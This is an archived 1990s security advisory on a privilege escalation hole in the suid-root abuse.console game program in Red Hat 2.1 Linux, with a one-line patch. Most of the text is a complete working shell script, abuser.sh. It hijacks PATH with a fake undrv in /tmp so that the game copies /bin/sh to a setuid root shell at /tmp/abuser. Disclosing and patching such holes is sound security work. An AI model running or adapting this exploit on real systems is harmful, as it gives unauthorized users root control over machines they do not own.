home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / abuse.txt < prev    next >
Text File  |  1998-07-17  |  3KB  |  75 lines

  1.    There is a security hole in Red Hat 2.1, which installs the game abuse,
  2. /usr/lib/games/abuse/abuse.console suid root.  The abuse.console program
  3. loads its files without absolute pathnames, assuming the user is running
  4. abuse from the /usr/lib/games/abuse directory.  One of these files in the
  5. undrv program, which abuse executes as root.  If the user is not in the
  6. abuse directory when running this, an arbitrary program can be substituted
  7. for undrv, allowing the user to execute arbitrary commands as root. 
  8.    If abuse.console needs to be run by users other than root at the console,
  9. provisions need to be made in the code to not execute or load any files
  10. as root.
  11.  
  12.                    Program: /usr/lib/games/abuse/abuse.console suid root
  13. Affected Operating Systems: Red Hat 2.1 linux distribution
  14.               Requirements: account on system
  15.                      Patch: chmod -s /usr/lib/games/abuse/abuse.console
  16.        Security Compromise: root
  17.                     Author: Dave M. (davem@cmu.edu)
  18.                   Synopsis: abuse.console runs undrv without an absolute
  19.                             pathname while executing as root, allowing
  20.                             a user to substitute the real undrv with 
  21.                             an arbitrary program.
  22.  
  23. Exploit:
  24. #!/bin/sh
  25. #
  26. # abuser.sh
  27. # exploits a security hole in abuse to create
  28. # a suid root shell /tmp/abuser on a linux
  29. # Red Hat 2.1 system with the games package 
  30. # installed.
  31. #
  32. # by Dave M. (davem@cmu.edu)
  33. #
  34. echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
  35. echo ================ Checking system vulnerability
  36. if test -u /usr/lib/games/abuse/abuse.console
  37. then
  38. echo ++++++++++++++++ System appears vulnerable.
  39. cd /tmp
  40. cat << _EOF_ > /tmp/undrv
  41. #!/bin/sh
  42. /bin/cp /bin/sh /tmp/abuser
  43. /bin/chmod 4777 /tmp/abuser
  44. _EOF_
  45. chmod +x /tmp/undrv
  46. PATH=/tmp
  47. echo ================ Executing Abuse
  48. /usr/lib/games/abuse/abuse.console
  49. /bin/rm /tmp/undrv
  50. if test -u /tmp/abuser
  51. then
  52. echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
  53. else
  54. echo ---------------- Exploit failed
  55. fi
  56. else
  57. echo ---------------- This machine does not appear to be vulnerable.
  58. fi
  59.  
  60.  
  61.        /-------------\
  62.        |David Meltzer| 
  63.        |davem@cmu.edu|    
  64.  /--------------------------\
  65.  |School of Computer Science|
  66.  |Carnegie Mellon University|
  67.  \--------------------------/
  68.  
  69.  
  70. -- 
  71. infiNity .oOo.  Member of the infamous Guild |  spreading information 
  72. route .oOo.  Use strong Cryptography |  like it was going 
  73. daemon9 .oOo.  Finger for info |  out of style
  74.  
  75.